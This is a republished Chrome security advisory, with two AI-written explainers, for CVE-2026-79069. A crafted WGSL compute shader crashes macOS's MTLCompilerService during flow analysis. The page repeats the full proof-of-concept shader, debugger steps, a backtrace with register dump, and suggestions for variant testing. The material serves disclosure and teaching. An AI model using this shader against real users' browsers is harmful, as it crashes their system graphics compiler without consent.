Skip to content
Memory corruption Advisory Advanced CVE-2026-79069

Memory corruption in Tint (CVE-2026-79069)

A crafted WGSL compute shader causes a memory corruption crash in the Metal shader compiler (MTLCompilerService) on macOS Chrome, triggered during LLVM flow analysis. An attacker could crash the compiler service by getting a victim to open a page containing the shader, though the GPU process itself survives.

andryskowski.michal Follow

Originally disclosed on Chrome VRP

Bounty$500 High View original
  • Fix shipped in 4 months

Vulnerability details

On macOS Chrome, compiling the WGSL shader included in this bug report crashes MTLCompilerService with a SIGSEGV at a high address.

The GPU process does not crash (dev console just shows XPC_ERROR_CONNECTION_INTERRUPTED). However, it crashes MTLCompilerService that the GPU process communicates with via XPC. Here is an issue that found something similar: https://issues.chromium.org/issues/40074630

Version

Device: Mac Mini 2024 (Apple M4) 16GB MU9D3LL/A

Chrome version: 147.0.7727.138 (Official Build) (arm64)

OS: macOS Tahoe 26.4.1 (Build 25E253)

Reproduction case

After opening poc.html in Chrome, open Console.App to see the trace. Alternatively, run sudo lldb -n MTLCompilerService --wait-for before opening poc.html.

The WGSL shader from poc.html is

WGSL
@group(0) @binding(0)
var<uniform> u: i32;

@group(0) @binding(1)
var<storage, read_write> s: i32;

fn foo(){
    switch (s) {
        case 0i: {}
        case 2i: {
            return;
        }
        case 4i: {}
        default: {
            s = s / u;
        }
    }
    switch (s) {
        case 0i: {
            s = 0;
        }
        case 1i: {}
        case 4i: {}
        default: {
            s = 0;
        }
    }
}

@compute @workgroup_size(1u)
fn main() {
    foo();
    foo();
}

The MSL dump from Chrome is attached as poc.msl

Crash details

The stack trace from MTLCompilerService is:

% sudo lldb -n MTLCompilerService --wait-for  
(lldb) bt
* thread #3, queue = 'com.apple.root.default-qos.overcommit', stop reason = EXC_BAD_ACCESS (code=1, address=0x346fabb90)
  * frame #0: 0x000000024d2ee330 libLLVM.dylib`llvm::FlowAnalyzer::evaluateSkipTargets(llvm::BasePtr<unsigned int, llvm::NodePtrToken>, llvm::BasePtr<unsigned int, llvm::NodePtrToken>, llvm::BitVector&, llvm::ControlGraph<llvm::MachineCFGTraits> const&, llvm::CFGUnloopifier<llvm::MachineCFGTraits> const&) + 324
    frame #1: 0x000000024d2ebc44 libLLVM.dylib`llvm::FlowAnalyzer::analyze(llvm::ControlGraph<llvm::MachineCFGTraits> const&, llvm::CFGUnloopifier<llvm::MachineCFGTraits> const&, llvm::MachineLoopInfo const&, llvm::GPUFlowEmitter const*, llvm::TargetInstrInfo const*) + 1908
    frame #2: 0x000000024d2eb49c libLLVM.dylib`llvm::FlowAnalyzer::FlowAnalyzer(llvm::ControlGraph<llvm::MachineCFGTraits> const&, llvm::CFGUnloopifier<llvm::MachineCFGTraits> const&, llvm::MachineLoopInfo const&, llvm::GPUFlowEmitter const*, llvm::TargetInstrInfo const*) + 128
    frame #3: 0x000000024c8b28cc libLLVM.dylib`___lldb_unnamed_symbol_2432ea684 + 584
    frame #4: 0x000000024cf496bc libLLVM.dylib`llvm::MachineFunctionPass::runOnFunction(llvm::Function&) + 368
    frame #5: 0x000000024d1bf78c libLLVM.dylib`llvm::FPPassManager::runOnFunction(llvm::Function&) + 676
    frame #6: 0x000000024cbf1724 libLLVM.dylib`___lldb_unnamed_symbol_2436293a4 + 896
    frame #7: 0x000000024d1c0070 libLLVM.dylib`llvm::legacy::PassManagerImpl::run(llvm::Module&) + 788
    frame #8: 0x000000024cb95b28 libLLVM.dylib`___lldb_unnamed_symbol_2435cd53c + 1516
    frame #9: 0x000000024cb8fd14 libLLVM.dylib`___lldb_unnamed_symbol_2435c7940 + 980
    frame #10: 0x000000024cb967e8 libLLVM.dylib`llvm::AGX::AGXCompilePlan::execute(llvm::AGX::CompileRequest&) + 176
    frame #11: 0x00000001b5e7eac4 AGXCompilerCore`AGCLLVMCtx::compile(AGCLLVMObject*, llvm::Module&, AGCFastMathFlags, llvm::AGX::PipelineType, llvm::AGX::CodeGenOptions&, bool) + 1324
    frame #12: 0x00000001b5ded3f4 AGXCompilerCore`AGCLLVMUserObject::compile() + 236
    frame #13: 0x00000001b5efef90 AGXCompilerCore`AGCModule<AGX::Impl::ComputeProgramKey>::compileLLVMObject(AGCTargetContext*, char**, unsigned long*, char**, char**, unsigned long*) + 1040
    frame #14: 0x00000001b5efd8c0 AGXCompilerCore`AIRNTEmitPipelineImageInternal(void*, void*, unsigned int, std::__1::unique_ptr<AGCModuleAccessor, std::__1::default_delete<AGCModuleAccessor>>, unsigned int, unsigned int, AIRFunctionScript const*, char const*, char**, unsigned long*, char**, unsigned long*, char**) + 4180
    frame #15: 0x00000001b5f038a0 AGXCompilerCore`AIRNTEmitPipelineImageWithModuleRef + 164
    frame #16: 0x0000000260639758 MTLCompiler`MTLCompilerPluginInterface::airntEmitPipelineImage(void*, llvm::Module*, unsigned int, unsigned int, unsigned int, unsigned int, AIRFunctionScript const*, char**, unsigned long*, char**, unsigned long*, char**) + 132
    frame #17: 0x0000000260633e5c MTLCompiler`MTLCompilerObject::backendCompileModule(BinaryRequestData&, BackendCompilationOutput&, unsigned long long, std::__1::vector<CompileTimeData, std::__1::allocator<CompileTimeData>>&) + 780
    frame #18: 0x0000000260639ec8 MTLCompiler`MTLCompilerObject::backendCompileExecutableRequest(BinaryRequestData&) + 556
    frame #19: 0x000000026063de18 MTLCompiler`MTLCompilerObject::buildRequest(unsigned int, unsigned int, void const*, unsigned long, void (unsigned int, void const*, unsigned long, char const*) block_pointer) + 816
    frame #20: 0x00000002606471cc MTLCompiler`split_stack_call + 24
    frame #21: 0x000000026063a360 MTLCompiler`MTLCodeGenServiceBuildRequest + 324
    frame #22: 0x00000001024d504c MTLCompilerService`compileRequestMain + 140
    frame #23: 0x00000001024d61dc MTLCompilerService`MTLCompilerService::messageHandler(NSObject<OS_xpc_object>*) + 932
    frame #24: 0x0000000189794444 libxpc.dylib`_xpc_connection_call_event_handler + 112
    frame #25: 0x0000000189792cdc libxpc.dylib`_xpc_connection_mach_event + 1488
    frame #26: 0x00000001899164f8 libdispatch.dylib`_dispatch_client_callout4 + 16
    frame #27: 0x0000000189918e94 libdispatch.dylib`_dispatch_mach_msg_invoke + 480
    frame #28: 0x0000000189904e98 libdispatch.dylib`_dispatch_lane_serial_drain + 332
    frame #29: 0x0000000189919bec libdispatch.dylib`_dispatch_mach_invoke + 472
    frame #30: 0x000000018990fe34 libdispatch.dylib`_dispatch_root_queue_drain_deferred_wlh + 284
    frame #31: 0x000000018990f734 libdispatch.dylib`_dispatch_workloop_worker_thread + 720
    frame #32: 0x0000000189ab3ec0 libsystem_pthread.dylib`_pthread_wqthread + 292
(lldb) register read
General Purpose Registers:
        x0 = 0x0000000108f803f8  
        x1 = 0x0000000000000015
        x2 = 0x0000000000000017
        x3 = 0x0000000108f801c8  
        x4 = 0x0000000108f80b70  
        x5 = 0x0000000000000000
        x6 = 0x0000000100000004
        x7 = 0xfffff0003ffff800
        x8 = 0x0000000346fabb80
        x9 = 0x0000000108f80a58  
       x10 = 0x0000000108f80b80  
       x11 = 0x0000000000000000
       x12 = 0x0000000000000000
       x13 = 0x0000000000000015
       x14 = 0x0000000000000001
       x15 = 0x000000000000000a
       x16 = 0x5d16800189ac1090 (0x0000000189ac1090) libsystem_platform.dylib`__bzero
       x17 = 0x00000002a34179c8
       x18 = 0x0000000000000000
       x19 = 0x0000000108f801c8  
       x20 = 0x0000000108f80058  
       x21 = 0x0000000108f80b70  
       x22 = 0x0000000000000017
       x23 = 0x0000000000000015
       x24 = 0x0000000108f803f8  
       x25 = 0x0000000000000015
       x26 = 0x0000000008f80ac0
       x27 = 0x0000000108f80838  
       x28 = 0x0000000008f80ac0
        fp = 0x0000000108f800f0  
        lr = 0xf02c80024d2ebc44 (0x000000024d2ebc44) libLLVM.dylib`llvm::FlowAnalyzer::analyze(llvm::ControlGraph<llvm::MachineCFGTraits> const&, llvm::CFGUnloopifier<llvm::MachineCFGTraits> const&, llvm::MachineLoopInfo const&, llvm::GPUFlowEmitter const*, llvm::TargetInstrInfo const*) + 1908
        sp = 0x0000000108f80040  
        pc = 0x000000024d2ee330  libLLVM.dylib`llvm::FlowAnalyzer::evaluateSkipTargets(llvm::BasePtr<unsigned int, llvm::NodePtrToken>, llvm::BasePtr<unsigned int, llvm::NodePtrToken>, llvm::BitVector&, llvm::ControlGraph<llvm::MachineCFGTraits> const&, llvm::CFGUnloopifier<llvm::MachineCFGTraits> const&) + 324
      cpsr = 0x20000000

I also reported this to Apple Security Research (OE1106044528210).

The original report as published on the Chromium issue tracker, by andryskowski.michal. Images and videos are our own copies; raw HTML is shown as text. View it on Chromium issue tracker.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 7 min read.

Context

Tint is Chrome's implementation of WGSL, the WebGPU Shading Language. A page that uses WebGPU submits WGSL shader source, Chrome translates it into the Metal Shading Language (MSL) and hands the result to the platform graphics stack. On macOS that stack includes MTLCompilerService, a separate system service that the GPU process talks to over XPC and that runs the Metal compiler (including libLLVM.dylib and AGXCompilerCore) to turn shader code into machine code for Apple GPUs.

The report describes a memory corruption bug in that compilation path: a particular, valid-looking WGSL compute shader makes the Metal compiler crash inside its own control-flow analysis. The weakness class recorded for the issue is memory corruption, severity high, and the Chrome VRP paid a 500.00 USD bounty. The advisory was disclosed on 2026-08-25.

Setup

The researcher reproduced the issue on the following configuration:

Item Value
Device Mac Mini 2024 (Apple M4) 16GB MU9D3LL/A
Chrome 147.0.7727.138 (Official Build) (arm64)
OS macOS Tahoe 26.4.1 (Build 25E253)

No account, extension or special flag is mentioned. The only precondition is a page that compiles the WGSL shader below through WebGPU. To observe the crash, the researcher used either Console.App (to see the trace) or a debugger attached to the compiler service before loading the page.

Finding it

On macOS Chrome, compiling the WGSL shader included in the report crashes MTLCompilerService with a SIGSEGV at a high address. The GPU process itself does not crash; the developer console only shows XPC_ERROR_CONNECTION_INTERRUPTED, because the GPU process loses its XPC peer. The crash happens in the service the GPU process communicates with over XPC, not in Chrome's own process.

The researcher notes that a similar issue had been found before and links to it: https://issues.chromium.org/issues/40074630.

Exploitation

Step 1: prepare the page and the observation method

Open poc.html in Chrome and watch Console.App for the trace. Alternatively, attach a debugger to the compiler service before the page is loaded, so it waits for the process to appear:

Bash
sudo lldb -n MTLCompilerService --wait-for

Step 2: compile the shader

The WGSL shader from poc.html is:

WGSL
@group(0) @binding(0)
var<uniform> u: i32;

@group(0) @binding(1)
var<storage, read_write> s: i32;

fn foo(){
    switch (s) {
        case 0i: {}
        case 2i: {
            return;
        }
        case 4i: {}
        default: {
            s = s / u;
        }
    }
    switch (s) {
        case 0i: {
            s = 0;
        }
        case 1i: {}
        case 4i: {}
        default: {
            s = 0;
        }
    }
}

@compute @workgroup_size(1u)
fn main() {
    foo();
    foo();
}

The MSL dump that Chrome produced for this shader is attached to the report as poc.msl.

Step 3: read the crash

With lldb attached, the backtrace from MTLCompilerService is:

Text
% sudo lldb -n MTLCompilerService --wait-for
(lldb) bt
* thread #3, queue = 'com.apple.root.default-qos.overcommit', stop reason = EXC_BAD_ACCESS (code=1, address=0x346fabb90)
  * frame #0: 0x000000024d2ee330 libLLVM.dylib`llvm::FlowAnalyzer::evaluateSkipTargets(llvm::BasePtr<unsigned int, llvm::NodePtrToken>, llvm::BasePtr<unsigned int, llvm::NodePtrToken>, llvm::BitVector&, llvm::ControlGraph<llvm::MachineCFGTraits> const&, llvm::CFGUnloopifier<llvm::MachineCFGTraits> const&) + 324
    frame #1: 0x000000024d2ebc44 libLLVM.dylib`llvm::FlowAnalyzer::analyze(llvm::ControlGraph<llvm::MachineCFGTraits> const&, llvm::CFGUnloopifier<llvm::MachineCFGTraits> const&, llvm::MachineLoopInfo const&, llvm::GPUFlowEmitter const*, llvm::TargetInstrInfo const*) + 1908
    frame #2: 0x000000024d2eb49c libLLVM.dylib`llvm::FlowAnalyzer::FlowAnalyzer(llvm::ControlGraph<llvm::MachineCFGTraits> const&, llvm::CFGUnloopifier<llvm::MachineCFGTraits> const&, llvm::MachineLoopInfo const&, llvm::GPUFlowEmitter const*, llvm::TargetInstrInfo const*) + 128
    frame #3: 0x000000024c8b28cc libLLVM.dylib`[redacted] + 584
    frame #4: 0x000000024cf496bc libLLVM.dylib`llvm::MachineFunctionPass::runOnFunction(llvm::Function&) + 368
    frame #5: 0x000000024d1bf78c libLLVM.dylib`llvm::FPPassManager::runOnFunction(llvm::Function&) + 676
    frame #6: 0x000000024cbf1724 libLLVM.dylib`[redacted] + 896
    frame #7: 0x000000024d1c0070 libLLVM.dylib`llvm::legacy::PassManagerImpl::run(llvm::Module&) + 788
    frame #8: 0x000000024cb95b28 libLLVM.dylib`[redacted] + 1516
    frame #9: 0x000000024cb8fd14 libLLVM.dylib`[redacted] + 980
    frame #10: 0x000000024cb967e8 libLLVM.dylib`llvm::AGX::AGXCompilePlan::execute(llvm::AGX::CompileRequest&) + 176
    frame #11: 0x00000001b5e7eac4 AGXCompilerCore`AGCLLVMCtx::compile(AGCLLVMObject*, llvm::Module&, AGCFastMathFlags, llvm::AGX::PipelineType, llvm::AGX::CodeGenOptions&, bool) + 1324
    frame #12: 0x00000001b5ded3f4 AGXCompilerCore`AGCLLVMUserObject::compile() + 236
    frame #13: 0x00000001b5efef90 AGXCompilerCore`AGCModule<AGX::Impl::ComputeProgramKey>::compileLLVMObject(AGCTargetContext*, char**, unsigned long*, char**, char**, unsigned long*) + 1040
    frame #14: 0x00000001b5efd8c0 AGXCompilerCore`AIRNTEmitPipelineImageInternal(void*, void*, unsigned int, std::__1::unique_ptr<AGCModuleAccessor, std::__1::default_delete<AGCModuleAccessor>>, unsigned int, unsigned int, AIRFunctionScript const*, char const*, char**, unsigned long*, char**, unsigned long*, char**) + 4180
    frame #15: 0x00000001b5f038a0 AGXCompilerCore`AIRNTEmitPipelineImageWithModuleRef + 164
    frame #16: 0x0000000260639758 MTLCompiler`MTLCompilerPluginInterface::airntEmitPipelineImage(void*, llvm::Module*, unsigned int, unsigned int, unsigned int, unsigned int, AIRFunctionScript const*, char**, unsigned long*, char**, unsigned long*, char**) + 132
    frame #17: 0x0000000260633e5c MTLCompiler`MTLCompilerObject::backendCompileModule(BinaryRequestData&, BackendCompilationOutput&, unsigned long long, std::__1::vector<CompileTimeData, std::__1::allocator<CompileTimeData>>&) + 780
    frame #18: 0x0000000260639ec8 MTLCompiler`MTLCompilerObject::backendCompileExecutableRequest(BinaryRequestData&) + 556
    frame #19: 0x000000026063de18 MTLCompiler`MTLCompilerObject::buildRequest(unsigned int, unsigned int, void const*, unsigned long, void (unsigned int, void const*, unsigned long, char const*) block_pointer) + 816
    frame #20: 0x00000002606471cc MTLCompiler`split_stack_call + 24
    frame #21: 0x000000026063a360 MTLCompiler`MTLCodeGenServiceBuildRequest + 324
    frame #22: 0x00000001024d504c MTLCompilerService`compileRequestMain + 140
    frame #23: 0x00000001024d61dc MTLCompilerService`MTLCompilerService::messageHandler(NSObject<OS_xpc_object>*) + 932
    frame #24: 0x0000000189794444 libxpc.dylib`_xpc_connection_call_event_handler + 112
    frame #25: 0x0000000189792cdc libxpc.dylib`_xpc_connection_mach_event + 1488
    frame #26: 0x00000001899164f8 libdispatch.dylib`_dispatch_client_callout4 + 16
    frame #27: 0x0000000189918e94 libdispatch.dylib`_dispatch_mach_msg_invoke + 480
    frame #28: 0x0000000189904e98 libdispatch.dylib`_dispatch_lane_serial_drain + 332
    frame #29: 0x0000000189919bec libdispatch.dylib`_dispatch_mach_invoke + 472
    frame #30: 0x000000018990fe34 libdispatch.dylib`_dispatch_root_queue_drain_deferred_wlh + 284
    frame #31: 0x000000018990f734 libdispatch.dylib`_dispatch_workloop_worker_thread + 720
    frame #32: 0x0000000189ab3ec0 libsystem_pthread.dylib`_pthread_wqthread + 292
(lldb) register read
General Purpose Registers:
        x0 = 0x0000000108f803f8
        x1 = 0x0000000000000015
        x2 = 0x0000000000000017
        x3 = 0x0000000108f801c8
        x4 = 0x0000000108f80b70
        x5 = 0x0000000000000000
        x6 = 0x0000000100000004
        x7 = 0xfffff0003ffff800
        x8 = 0x0000000346fabb80
        x9 = 0x0000000108f80a58
       x10 = 0x0000000108f80b80
       x11 = 0x0000000000000000
       x12 = 0x0000000000000000
       x13 = 0x0000000000000015
       x14 = 0x0000000000000001
       x15 = 0x000000000000000a
       x16 = 0x5d16800189ac1090 (0x0000000189ac1090) libsystem_platform.dylib`__bzero
       x17 = 0x00000002a34179c8
       x18 = 0x0000000000000000
       x19 = 0x0000000108f801c8
       x20 = 0x0000000108f80058
       x21 = 0x0000000108f80b70
       x22 = 0x0000000000000017
       x23 = 0x0000000000000015
       x24 = 0x0000000108f803f8
       x25 = 0x0000000000000015
       x26 = 0x0000000008f80ac0
       x27 = 0x0000000108f80838
       x28 = 0x0000000008f80ac0
        fp = 0x0000000108f800f0
        lr = 0xf02c80024d2ebc44 (0x000000024d2ebc44) libLLVM.dylib`llvm::FlowAnalyzer::analyze(llvm::ControlGraph<llvm::MachineCFGTraits> const&, llvm::CFGUnloopifier<llvm::MachineCFGTraits> const&, llvm::MachineLoopInfo const&, llvm::GPUFlowEmitter const*

The stop reason is EXC_BAD_ACCESS (code=1, address=0x346fabb90), a fault at a high address. The faulting frame is llvm::FlowAnalyzer::evaluateSkipTargets inside libLLVM.dylib, called from llvm::FlowAnalyzer::analyze and the FlowAnalyzer constructor, which run as a machine function pass (llvm::MachineFunctionPass::runOnFunction, llvm::FPPassManager::runOnFunction, llvm::legacy::PassManagerImpl::run) under llvm::AGX::AGXCompilePlan::execute in AGXCompilerCore. Above that, the frames are the Metal compiler plumbing: AGCLLVMCtx::compile, AGCLLVMUserObject::compile, AGCModule<AGX::Impl::ComputeProgramKey>::compileLLVMObject, AIRNTEmitPipelineImageInternal, MTLCompilerPluginInterface::airntEmitPipelineImage, MTLCompilerObject::backendCompileModule and backendCompileExecutableRequest, MTLCodeGenServiceBuildRequest, and finally compileRequestMain and MTLCompilerService::messageHandler, reached from the XPC event handler in libxpc.dylib.

The link register lr points back into FlowAnalyzer::analyze, matching frame #1.

Root cause

The crash occurs in the Metal compiler's flow analysis, specifically in llvm::FlowAnalyzer::evaluateSkipTargets, while it processes the control graph of the compiled shader. The report does not state which of these constructs is the trigger or what the incorrect value in the flow analysis is; it establishes only that this input reaches the faulting code path and produces an out-of-bounds access at a high address.

The crash is in the platform compiler that receives the MSL, not in Chrome's own process. The GPU process survives because the compiler runs out of process and is reached over XPC, so the failure is contained in MTLCompilerService and surfaces in Chrome only as XPC_ERROR_CONNECTION_INTERRUPTED.

Impact

A page that compiles this shader can crash MTLCompilerService on the affected macOS Chrome build. The report describes the effect as a crash of the compiler service, not as code execution, and does not claim any further primitive. The GPU process does not crash, but the XPC connection to the compiler is interrupted, which is what the page observes in the developer console.

Fix

The report does not describe a fix or a change made in response. It records that the same issue was also reported to Apple Security Research under reference OE1106044528210, which is consistent with the fault being in the platform compiler rather than in Chrome's WGSL front end.

  1. Vary the switch structure: change the number and order of cases, move the return to a different case, or remove the default branch, and compile each variant. A positive result is the same EXC_BAD_ACCESS in FlowAnalyzer::evaluateSkipTargets in MTLCompilerService.
  2. Vary the operations inside the branches: replace the division s = s / u with other arithmetic on the uniform and storage variables, and replace the assignments in the second switch. A positive result is a crash in the same flow-analysis frames rather than a clean compile.
  3. Change how often the function is called from the entry point, for example calling foo once or three times instead of twice. A positive result is the same fault, which would show that the duplication of the control flow matters.
  4. Try the same shape in other shader stages, such as a fragment or vertex entry point with equivalent branching. A positive result is a crash in the same compiler pass for a different pipeline type.
  5. Test on other Apple GPUs and macOS versions. A positive result is the same crash signature on hardware other than the M4 used here.

This kind of bug hides at the boundary between a browser's shader translation and the platform compiler it delegates to. The signal during testing is a GPU process that stays alive while the developer console reports XPC_ERROR_CONNECTION_INTERRUPTED, which points at the out-of-process compiler rather than at Chrome itself. Attaching lldb with --wait-for to the compiler service before loading the page is what turns that vague symptom into a stack trace and a faulting address, and the trace is what shows the fault is in the compiler's flow analysis rather than in Chrome's code. Reporting the same input to the platform vendor as well as to the browser programme follows from where the fault sits.

Written with AI from the full original report and checked against it passage by passage; anything it could not back up was removed or toned down. The original is the record. 15 min read.

What happened, in plain words

A security researcher found a way to make a small piece of code, written for a web page, crash a helper program on a Mac. The helper program is part of Apple's graphics software, not part of Chrome itself. When Chrome tries to turn the researcher's code into instructions the graphics chip can run, it hands the work to that helper, and the helper falls over.

Nothing is stolen, no data leaks and no attacker takes control of the machine. The effect is a crash of one background service. The report records only a crash of one background service. Google's Chrome bug bounty programme paid 500.00 USD for the report, rated it high severity and classed it as memory corruption. The advisory was published on 2026-08-25.

Background: the pieces involved

Before the steps make sense, here are the parts of the picture.

WebGPU is a feature of modern browsers that lets a web page use the computer's graphics card (GPU) for heavy calculations, not just for drawing. Games in the browser and 3D tools use it.

A shader is a small program that runs on the graphics card. A web page writes shaders in a language called WGSL, the WebGPU Shading Language. It looks a bit like C.

Tint is Chrome's own translator for WGSL. It reads the shader the page supplied and rewrites it into another language, MSL (Metal Shading Language), which is what Apple's graphics system understands. Think of Tint as a translator at a meeting: it takes what the web page said and says it again in Apple's language.

Metal is Apple's graphics technology. On macOS, the final step of turning MSL into machine code is done by a separate background program called MTLCompilerService. It is not part of Chrome. It is a system service that runs on its own and contains the actual compiler, including libraries named libLLVM.dylib and AGXCompilerCore.

XPC is Apple's mechanism for one program to send messages to another program running separately on the same machine. Chrome's GPU process (the part of Chrome that talks to the graphics card) sends the shader to MTLCompilerService over XPC. Think of XPC as an internal postal service between programs: the sender puts a message in an envelope, the other program opens it and replies.

Memory corruption is a class of bug where a program reads or writes memory it was not supposed to touch, for example because it calculated the wrong address. A simple comparison: a program is like a clerk told to fetch a file from shelf 8, but a miscalculation sends them to shelf 800, which does not exist. The clerk trips. Sometimes a clever attacker can arrange for shelf 800 to contain something of their choosing, which is why these bugs matter. In this report the result is only a crash.

SIGSEGV is the signal the operating system sends to a program when it touches memory it is not allowed to touch. It is the technical name for "the clerk tripped".

A stack trace (or backtrace) is the list a debugger prints showing which function called which function at the moment of the crash, from the innermost point outwards. It is like the chain of people who passed a task along, printed in reverse order.

A debugger is a tool that lets you pause a running program and inspect it. lldb is Apple's debugger.

The setup

The researcher reproduced the problem on this exact configuration:

Item Value
Device Mac Mini 2024 (Apple M4) 16GB MU9D3LL/A
Chrome 147.0.7727.138 (Official Build) (arm64)
OS macOS Tahoe 26.4.1 (Build 25E253)

The only precondition is a web page that sends the shader below to the graphics card through WebGPU. To watch the crash, the researcher used either the macOS Console app (which shows system log messages) or a debugger attached to the compiler service before the page was loaded.

Finding it

On macOS Chrome, compiling the WGSL shader in the report crashes MTLCompilerService with a SIGSEGV at a high memory address.

The GPU process in Chrome does not crash. The browser's developer console only shows XPC_ERROR_CONNECTION_INTERRUPTED, which means the postal connection to the compiler service was cut off mid-conversation. That is the clue: the failure is in the program Chrome talks to over XPC, not in Chrome's own code.

The researcher notes that a similar issue had been found before and links to it: https://issues.chromium.org/issues/40074630.

Step by step

Step 1: prepare the page and a way to observe the crash

Open poc.html in Chrome and watch Console.App for the trace. Alternatively, attach a debugger to the compiler service before the page is loaded, so that the debugger waits for the service to appear:

Bash
sudo lldb -n MTLCompilerService --wait-for
  • sudo runs the next command with administrator rights. The debugger needs those rights to attach to a system service.
  • lldb starts Apple's debugger.
  • -n MTLCompilerService tells lldb to look for a program by that name.
  • --wait-for tells lldb not to give up if the program is not running yet, but to sit and wait until it starts.

Why this step: MTLCompilerService is not running all the time. The system starts it on demand, when something asks for a shader to be compiled. If you attach the debugger after the crash, you are too late. Waiting for the process means the debugger is already in place the moment the page triggers compilation.

Step 2: compile the shader

The WGSL shader from poc.html is:

WGSL
@group(0) @binding(0)
var<uniform> u: i32;

@group(0) @binding(1)
var<storage, read_write> s: i32;

fn foo(){
    switch (s) {
        case 0i: {}
        case 2i: {
            return;
        }
        case 4i: {}
        default: {
            s = s / u;
        }
    }
    switch (s) {
        case 0i: {
            s = 0;
        }
        case 1i: {}
        case 4i: {}
        default: {
            s = 0;
        }
    }
}

@compute @workgroup_size(1u)
fn main() {
    foo();
    foo();
}

Line by line:

  • @group(0) @binding(0) and var<uniform> u: i32; declare a variable named u holding a 32-bit integer. uniform means the value is supplied from outside the shader and stays the same for the whole run. The @group and @binding labels are the slot numbers the page uses to fill in the value, like a numbered pigeonhole.
  • @group(0) @binding(1) and var<storage, read_write> s: i32; declare a second integer named s. storage means it lives in a larger memory area the shader can read and write, and read_write says both are allowed.
  • fn foo(){ starts a function named foo.
  • The first switch (s) { looks at the value of s and jumps to the matching case.
  • case 0i: {} handles the value 0 and does nothing (the empty braces). The i suffix marks the number as a 32-bit integer.
  • case 2i: { return; } handles the value 2 and leaves the function immediately.
  • case 4i: {} handles the value 4 and does nothing.
  • default: { s = s / u; } handles every other value and divides s by u, storing the result back into s.
  • The second switch (s) { is another branch on s, now with cases 0, 1 and 4 plus a default. The case for 0 and the default both set s = 0; the other two do nothing.
  • @compute @workgroup_size(1u) marks the next function as the entry point that runs on the GPU, with a workgroup of one unit.
  • fn main() { foo(); foo(); } is that entry point, and it calls foo twice.

The MSL dump that Chrome produced for this shader is attached to the report as poc.msl.

Step 3: read the crash

With lldb attached, the backtrace from MTLCompilerService is:

Text
% sudo lldb -n MTLCompilerService --wait-for
(lldb) bt
* thread #3, queue = 'com.apple.root.default-qos.overcommit', stop reason = EXC_BAD_ACCESS (code=1, address=0x346fabb90)
  * frame #0: 0x000000024d2ee330 libLLVM.dylib`llvm::FlowAnalyzer::evaluateSkipTargets(llvm::BasePtr<unsigned int, llvm::NodePtrToken>, llvm::BasePtr<unsigned int, llvm::NodePtrToken>, llvm::BitVector&, llvm::ControlGraph<llvm::MachineCFGTraits> const&, llvm::CFGUnloopifier<llvm::MachineCFGTraits> const&) + 324
    frame #1: 0x000000024d2ebc44 libLLVM.dylib`llvm::FlowAnalyzer::analyze(llvm::ControlGraph<llvm::MachineCFGTraits> const&, llvm::CFGUnloopifier<llvm::MachineCFGTraits> const&, llvm::MachineLoopInfo const&, llvm::GPUFlowEmitter const*, llvm::TargetInstrInfo const*) + 1908
    frame #2: 0x000000024d2eb49c libLLVM.dylib`llvm::FlowAnalyzer::FlowAnalyzer(llvm::ControlGraph<llvm::MachineCFGTraits> const&, llvm::CFGUnloopifier<llvm::MachineCFGTraits> const&, llvm::MachineLoopInfo const&, llvm::GPUFlowEmitter const*, llvm::TargetInstrInfo const*) + 128
    frame #3: 0x000000024c8b28cc libLLVM.dylib`[redacted] + 584
    frame #4: 0x000000024cf496bc libLLVM.dylib`llvm::MachineFunctionPass::runOnFunction(llvm::Function&) + 368
    frame #5: 0x000000024d1bf78c libLLVM.dylib`llvm::FPPassManager::runOnFunction(llvm::Function&) + 676
    frame #6: 0x000000024cbf1724 libLLVM.dylib`[redacted] + 896
    frame #7: 0x000000024d1c0070 libLLVM.dylib`llvm::legacy::PassManagerImpl::run(llvm::Module&) + 788
    frame #8: 0x000000024cb95b28 libLLVM.dylib`[redacted] + 1516
    frame #9: 0x000000024cb8fd14 libLLVM.dylib`[redacted] + 980
    frame #10: 0x000000024cb967e8 libLLVM.dylib`llvm::AGX::AGXCompilePlan::execute(llvm::AGX::CompileRequest&) + 176
    frame #11: 0x00000001b5e7eac4 AGXCompilerCore`AGCLLVMCtx::compile(AGCLLVMObject*, llvm::Module&, AGCFastMathFlags, llvm::AGX::PipelineType, llvm::AGX::CodeGenOptions&, bool) + 1324
    frame #12: 0x00000001b5ded3f4 AGXCompilerCore`AGCLLVMUserObject::compile() + 236
    frame #13: 0x00000001b5efef90 AGXCompilerCore`AGCModule<AGX::Impl::ComputeProgramKey>::compileLLVMObject(AGCTargetContext*, char**, unsigned long*, char**, char**, unsigned long*) + 1040
    frame #14: 0x00000001b5efd8c0 AGXCompilerCore`AIRNTEmitPipelineImageInternal(void*, void*, unsigned int, std::__1::unique_ptr<AGCModuleAccessor, std::__1::default_delete<AGCModuleAccessor>>, unsigned int, unsigned int, AIRFunctionScript const*, char const*, char**, unsigned long*, char**, unsigned long*, char**) + 4180
    frame #15: 0x00000001b5f038a0 AGXCompilerCore`AIRNTEmitPipelineImageWithModuleRef + 164
    frame #16: 0x0000000260639758 MTLCompiler`MTLCompilerPluginInterface::airntEmitPipelineImage(void*, llvm::Module*, unsigned int, unsigned int, unsigned int, unsigned int, AIRFunctionScript const*, char**, unsigned long*, char**, unsigned long*, char**) + 132
    frame #17: 0x0000000260633e5c MTLCompiler`MTLCompilerObject::backendCompileModule(BinaryRequestData&, BackendCompilationOutput&, unsigned long long, std::__1::vector<CompileTimeData, std::__1::allocator<CompileTimeData>>&) + 780
    frame #18: 0x0000000260639ec8 MTLCompiler`MTLCompilerObject::backendCompileExecutableRequest(BinaryRequestData&) + 556
    frame #19: 0x000000026063de18 MTLCompiler`MTLCompilerObject::buildRequest(unsigned int, unsigned int, void const*, unsigned long, void (unsigned int, void const*, unsigned long, char const*) block_pointer) + 816
    frame #20: 0x00000002606471cc MTLCompiler`split_stack_call + 24
    frame #21: 0x000000026063a360 MTLCompiler`MTLCodeGenServiceBuildRequest + 324
    frame #22: 0x00000001024d504c MTLCompilerService`compileRequestMain + 140
    frame #23: 0x00000001024d61dc MTLCompilerService`MTLCompilerService::messageHandler(NSObject<OS_xpc_object>*) + 932
    frame #24: 0x0000000189794444 libxpc.dylib`_xpc_connection_call_event_handler + 112
    frame #25: 0x0000000189792cdc libxpc.dylib`_xpc_connection_mach_event + 1488
    frame #26: 0x00000001899164f8 libdispatch.dylib`_dispatch_client_callout4 + 16
    frame #27: 0x0000000189918e94 libdispatch.dylib`_dispatch_mach_msg_invoke + 480
    frame #28: 0x0000000189904e98 libdispatch.dylib`_dispatch_lane_serial_drain + 332
